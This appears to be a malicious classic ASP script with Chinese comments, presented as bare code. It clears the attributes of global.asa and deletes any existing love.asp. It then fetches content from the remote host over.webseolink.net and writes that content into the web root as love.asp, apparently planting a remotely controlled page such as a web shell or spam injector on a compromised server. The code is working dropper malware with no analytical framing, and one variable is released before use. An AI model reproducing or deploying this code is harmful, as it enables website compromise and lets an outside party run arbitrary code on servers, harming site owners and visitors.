On Error Resume Next weburl="http://over.webseolink.net/zc.txt" set fso=server.createobject("Scripting.FileSystemObject") set f=fso.Getfile(Server.MapPath("/global.asa")) f.Attributes=0 set f=Nothing Set fso = Nothing Response.write "OK" IF fso.FileExists(server.mappath("\")&"\love.asp") then for i=1 to 100 set filedel=fso.getfile(server.mappath("\")&"\love.asp") filedel.attributes=0 fso.deletefile(server.mappath("\")&"\love.asp") next set http=Server.createobject("Microsoft.XMLHTTP") Http.open "GET",weburl,false Http.send() getHTTPPage=chr(60)+bytesToBSTR(Http.responseBody,"GB2312") '获取页面转换gb2312 Set thefile = fso.createTextfile(server.mappath("\")&"\love.asp") thefile.writeline getHTTPPage thefile.close response.write "创建成功" response.end() Else set fso=server.createobject("Scripting.FileSystemObject") set http=Server.createobject("Microsoft.XMLHTTP") Http.open "GET",weburl,false Http.send() getHTTPPage=chr(60)+bytesToBSTR(Http.responseBody,"GB2312") '获取页面转换gb2312 Set thefile = fso.createTextfile(server.mappath("\")&"\love.asp") thefile.writeline getHTTPPage thefile.close response.write "创建成功" response.end() END IF Function BytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function